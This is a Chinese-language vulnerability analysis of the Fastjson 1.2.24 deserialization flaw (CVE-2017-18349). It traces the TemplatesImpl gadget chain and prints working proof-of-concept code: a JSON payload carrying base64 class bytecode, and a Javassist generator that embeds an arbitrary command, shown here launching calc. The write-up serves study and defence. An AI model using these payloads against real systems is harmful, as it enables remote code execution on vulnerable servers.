fastjson1.2.24 反序列化漏洞(CVE-2017-18349)分析

FastJson在<= 1.2.24 版本中存在反序列化漏洞，主要原因FastJson支持的两个特性：

  • fastjson反序列化时，JSON字符串中的@type字段，用来表明指定反序列化的目标恶意对象类。
  • fastjson反序列化时，字符串时会自动调用恶意对象的构造方法，set方法，get方法，若这类方法中存在利用点，即可完成漏洞利用。

主要存在两种利用方式：

  • JdbcRowSetImpl(JNDI)
  • TemplatesImpl(Feature.SupportNonPublicField)

这里分析TemplatesImpl利用链

漏洞复现

首先创建一个maven项目、导入Fastjson1.2.23并自动下载相关依赖

image-20231218183253537

然后写入如下代码至Main.java：

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;public class Main {public static void main(String[] args) {ParserConfig config = new ParserConfig();String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);}
}

POC中的利用链TemplatesImpl类的中的绝大多数成员变量是被private修饰，影响漏洞的主要是_bytecodes 和 _outputProperties 两个成员变量。

  • @type ：反序列化的恶意目标类型TemplatesImpl，FastJson最终会按照这个类反序列化得到实例
  • _bytecodes：继承AbstractTranslet 类的恶意类字节码，使用Base64编码。
  • _outputProperties：TemplatesImpl反序列化过程中会调用getOutputProperties 方法，导致bytecodes字节码成功实例化，造成命令执行。
  • _name：调用getTransletInstance 时会判断其是否为null，为null直接return，不会进入到恶意类的实例化过程；
  • _tfactory：defineTransletClasses 中会调用其getExternalExtensionsMap 方法，为null会出现异常；

运行之后直接弹出计算器：

image-20231218183923530

漏洞分析

上面的text里面的_bytecodes的内容是以下内容通过javac编译成字节码文件（.class）再base64编码后的结果：

image-20231218185111759

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Test extends AbstractTranslet {public Test() throws IOException {Runtime.getRuntime().exec("calc");}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}@Overridepublic void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {}public static void main(String[] args) throws Exception {Test t = new Test();}
}

可以看到，我们通过以上代码直接定义类Test，并在类的构造方法中执行calc的命令；至于为什么要写上述代码的第14-21行，因为Test类是继承AbstractTranslet的，上述代码的两个transform方法都是实现AbstractTranslet接口的抽象方法，因此都是需要的；具体来说的话，第一个transform带有SerializationHandler参数，是为了把XML文档转换为另一种格式，第二个transform带有DTMAxisIterator参数，是为了对XML文档中的节点进行迭代。
**总结：**对于上述代码，应该这么理解：建立Test类，并让其继承AbstractTranslet类，然后通过Test t = new Test();来初始化，这样我就是假装要把xml文档转换为另一种格式，在此过程中会触发构造方法，而我在构造方法中的代码就是执行calc，所以会弹出计算器。

为什么要继承AbstractTranslet类

https://blog.csdn.net/solitudi/article/details/119082164

Java的ClassLoader类提供了defineClass()方法，可以把字节数组转换成Java类的实例，

defineClass的利用方式

public class TouchFile{public TouchFile() throws Exception {Runtime.getRuntime().exec("calc");}}

把它编译成字节码后Base64
之后运行

Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code =Base64.getDecoder().decode("yv66vgAAADQAHgoABgARCgASABMIABQKABIAFQcAFgcAFwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAYAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQAOVG91Y2hGaWxlLmphdmEMAAcACAcAGQwAGgAbAQAEY2FsYwwAHAAdAQAJVG91Y2hGaWxlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAACAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEAAEABEADQASAAsAAAAEAAEADAAJAA0ADgACAAkAAAAmAAIAAQAAAAq4AAISA7YABFexAAAAAQAKAAAACgACAAAAFgAJABcACwAAAAQAAQAMAAEADwAAAAIAEA==");
Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "TouchFile", code, 0, code.length);
yyds.newInstance();

成功弹出了计算器

image-20231219163042298

但是这里面的方法的作用域是被Protected修饰的，也就是说这个方法只能在ClassLoader类中访问，不能被其他包中的类访问：

image-20231219162422592

TransletClassLoader类继承了ClassLoader类

image-20231219162620372

并且在TransletClassLoader类中，defineClass调用了ClassLoader里面的defineClass方法：

image-20231219163132353

然后追踪TransletClassLoader的使用，发现是defineTransletClasses：

image-20231219163248524

image-20231219163438492

再往上追踪defineTransletClasses的使用，发现是getTransletInstance：

image-20231219163607448

image-20231219163705606

到此为止，要么是Private修饰要么就是Protected修饰，需要再往上继续追踪，发现是newTransformer，可以看到此时已经是public了：

image-20231219163815811

因此，利用链如下：

TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

基于此，我们可以写出如下POC：

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;public class Main {public static class test{}public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass cc = pool.get(test.class.getName());String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";cc.makeClassInitializer().insertBefore(cmd);String randomClassName = "test" + System.nanoTime();cc.setName(randomClassName);cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));try {byte[] evilCode = cc.toBytecode();String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String text1 = "{"+"\"@type\":\"" + NASTY_CLASS +"\","+"\"_bytecodes\":[\""+evilCode_base64+"\"],"+"'_name':'test',"+"'_tfactory':{ },"+"'_outputProperties':{ }"+"}\n";ParserConfig config = new ParserConfig();Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);} catch (Exception e) {e.printStackTrace();}}
}

解释一下这段POC：首先，代码导入了一些类，包括com.alibaba.fastjson.JSON和com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet，还有javassist库的一些类。在Main类中定义了一个内部静态类test，没有任何具体实现。在main方法中，代码创建了一个ClassPool对象，它是Javassist库的一部分，用于管理类的池。然后使用pool.get(test.class.getName())获取了test类的CtClass对象。接下来，代码构造了一个字符串变量cmd，内容是要执行的命令，这里是java.lang.Runtime.getRuntime().exec("calc");，即执行计算器程序。然后，通过cc.makeClassInitializer().insertBefore(cmd)在test类中插入了一个类初始化器，该类初始化器会在类初始化时执行指定的命令。接下来，代码生成一个随机的类名，并使用cc.setName(randomClassName)将test类的名称修改为随机生成的类名。然后，通过cc.setSuperclass(pool.get(AbstractTranslet.class.getName()))设置test类的父类为AbstractTranslet类，这是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的一个实现。最后，代码使用Fastjson库解析一个JSON字符串text1，并尝试将其转换为Java对象。这里使用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作为目标类型。在解析过程中，Fastjson库的Feature.SupportNonPublicField特性被启用，以支持解析非公共字段。

image-20231219174501971

对于JSON字符串text1

            String text1 = "{"+"\"@type\":\"" + NASTY_CLASS +"\","+"\"_bytecodes\":[\""+evilCode_base64+"\"],"+"'_name':'test',"+"'_tfactory':{ },"+"'_outputProperties':{ }"+"}\n";
  • @type ：反序列化的恶意目标类型TemplatesImpl，FastJson最终会按照这个类反序列化得到实例
  • _bytecodes：继承AbstractTranslet 类的恶意类字节码，使用Base64编码。最终这个类会被加载并使用newInstance()实例化
  • _outputProperties：TemplatesImpl反序列化过程中会调用getOutputProperties 方法，导致bytecodes字节码成功实例化，造成命令执行。
  • _name：调用getTransletInstance 时会判断其是否为null，为null直接return，不会进入到恶意类的实例化过程；
  • _tfactory：defineTransletClasses 中会调用其getExternalExtensionsMap 方法，为null会出现异常

为什么这么构造呢？还是直接看defineTransletClasses这里：

image-20231219175611078

可以看到，逻辑是这样的：先判断_bytecodes是否为空，如果不为空，则执行后续的代码；后续的代码中，会调用到自定义的ClassLoader去加载_bytecodes中的byte[]，并对类的父类进行判断，如果是ABSTRACT_TRANSLET也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet，那么就把类成员属性的_transletIndex设置成当前循环中的标记位，第一次调用的话，就是class[0]。

image-20231219180803622

可以看到，这里的_bytecodes和_outputProperties都是类成员变量。同时，_outputProperties有自己的getter方法，也就是getOutputProperties。

在Fastjson库的反序列化过程中，当遇到TemplatesImpl类的实例时，Fastjson会尝试调用getOutputProperties()方法来获取输出属性。

这是由于Fastjson库在解析过程中会调用目标类的一些方法，以了解对象的结构和属性。而TemplatesImpl类中的getOutputProperties()方法是Java API规定的方法之一，Fastjson会默认调用它。

image-20231219180820601

而getOutputProperties()方法触发了整个漏洞利用流程：getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() / EvilClass.newInstance()

Java的ClassLoader类提供了defineClass()方法，可以把字节数组转换成Java类的实例

image-20231219184037545

参考

https://mp.weixin.qq.com/s/SOKLC_No0hV9RhAavF2hcw

https://xz.aliyun.com/t/7846

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